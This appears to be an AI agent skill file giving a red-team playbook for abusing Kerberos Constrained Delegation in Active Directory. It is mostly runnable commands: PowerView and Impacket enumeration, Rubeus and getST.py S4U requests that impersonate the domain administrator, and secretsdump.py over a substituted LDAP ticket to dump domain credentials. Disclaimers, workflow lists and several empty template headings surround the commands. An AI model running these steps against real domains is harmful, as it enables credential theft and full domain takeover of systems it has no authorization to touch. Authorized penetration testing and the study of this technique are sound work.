Exploiting Constrained Delegation Abuse

Exploiting Constrained Delegation Abuse

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.

When to Use

Trigger phrases:

• "exploiting constrained delegation abuse"

• "Exploit Kerberos Constrained Delegation misconfigurations in Active Directory to"

• When performing authorized security testing that involves exploiting constrained delegation abuse

• When analyzing malware samples or attack artifacts in a controlled environment

• When conducting red team exercises or penetration testing engagements

• When building detection capabilities based on offensive technique understanding

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Enumerate accounts with Constrained Delegation configured in the domain
• Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
• Exploit S4U2self and S4U2proxy to impersonate Domain Admin
• Obtain service tickets for delegated services as a privileged user
• Access delegated services (CIFS, LDAP, HTTP) on target hosts
• Escalate to Domain Admin through Constrained Delegation abuse

MITRE ATT&CK Mapping

• T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
• T1550.003 - Use Alternate Authentication Material: Pass the Ticket
• T1134.001 - Access Token Manipulation: Token Impersonation/Theft
• T1078.002 - Valid Accounts: Domain Accounts
• T1021 - Remote Services

Workflow

1. Scope and authorize — confirm written authorization and define target boundaries
2. Reconnaissance — enumerate targets, services, and potential attack surfaces
3. Exploitation — attempt exploitation of identified vulnerabilities within scope
4. Post-exploitation — document access level, lateral movement, and data exposure
5. Report and remediate — compile findings with reproduction steps and fix recommendations

Phase 1: Enumerate Constrained Delegation

1. Find accounts with Constrained Delegation using PowerView:

   # Find users with Constrained Delegation
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
   
   # Find computers with Constrained Delegation
   Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
   
   # Using AD Module
   Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
   

2. Using Impacket findDelegation.py:

   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   

3. Using BloodHound CE:

   MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
   RETURN c.name, c.allowedtodelegate
   

4. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):

   # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
   

Phase 2: Exploit with Rubeus (Windows)

1. If you have the password or hash of the constrained delegation account:

   # Request TGT for the constrained delegation account
   Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
   
   # Perform S4U2self + S4U2proxy to impersonate administrator
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /ptt
   
   # Alternative: specify alternate service name
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
   

2. Combined TGT request and S4U in single command:

   Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
   

Phase 3: Exploit with Impacket (Linux)

1. Request service ticket via S4U protocol extensions:

   # Using getST.py with S4U
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
   
   # Using hash instead of password
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
     -dc-ip 10.10.10.1 domain.local/svc_sql
   
   # Use the obtained ticket
   export KRB5CCNAME=administrator.ccache
   smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
   

Phase 4: Alternate Service Name Abuse

1. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:

   # Request CIFS ticket, then use it for LDAP (DCSync)
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -altservice LDAP/DC01.domain.local \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
   
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
   

2. This technique works because the service name in the ticket is not cryptographically bound to the session key

Phase 5: Protocol Transition Attack

1. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:

   # S4U2self obtains a forwardable ticket without requiring the user to authenticate
   # This means we can impersonate ANY user without their password
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
   

2. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)

When NOT to Use

• You don't have explicit authorization to exploit
• Task is about detecting exploits, not performing them (use detecting-* skills)
• You need to analyze exploit artifacts (use analyzing-* skills)
• Task is about building exploit tools (use building-* skills)
• Target is production without authorization
• Task requires responsible disclosure (follow disclosure process)

Red Flags

• Performing actions without explicit written authorization from the asset owner
• Testing against production systems without a defined scope and rules of engagement
• Exceeding the authorized scope of the engagement
• Leaving persistent access mechanisms without explicit approval
• Causing denial-of-service on production systems during testing

Verification

• All steps executed successfully against a test environment before production use
• Output documented with screenshots or logs demonstrating expected behavior
• All exploited vulnerabilities documented with reproduction steps
• Scope boundaries confirmed — only authorized targets were tested
• Remediation recommendations included for every finding

Tools and Resources

Delegation Types Comparison

Detection Signatures

Validation Criteria

• Accounts with Constrained Delegation enumerated
• Delegation targets (msDS-AllowedToDelegateTo) identified
• S4U2self ticket obtained for target user
• S4U2proxy ticket forwarded to delegation target
• Privileged access to delegated service validated
• Alternate service name substitution tested
• Protocol transition capability assessed
• Evidence documented with ticket exports and access proof

Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

Anti-Rationalization Table